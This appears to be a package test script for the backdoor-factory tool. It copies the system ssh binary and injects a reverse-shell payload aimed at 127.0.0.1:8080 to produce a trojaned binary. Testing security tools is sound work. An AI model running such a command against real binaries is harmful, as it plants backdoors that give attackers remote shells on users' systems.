#!/bin/sh
##
## bd_tcp_rst.sh
##
## Made by P. Thierry <phil@reseau-libre.net>
##
## Started on  Thu 01 Jun 2017 12:49:11 PM CEST pret
## Last update Fri 23 Jun 2017 02:13:27 PM CEST pret
##

set -e

cp /usr/bin/ssh ${AUTOPKGTEST_TMP}/ssh

backdoor-factory -f ${AUTOPKGTEST_TMP}/ssh -H 127.0.0.1 -P 8080 -s reverse_shell_tcp -o ${AUTOPKGTEST_TMP}/caved_newsec_sshd -a -n .cave

exit 0
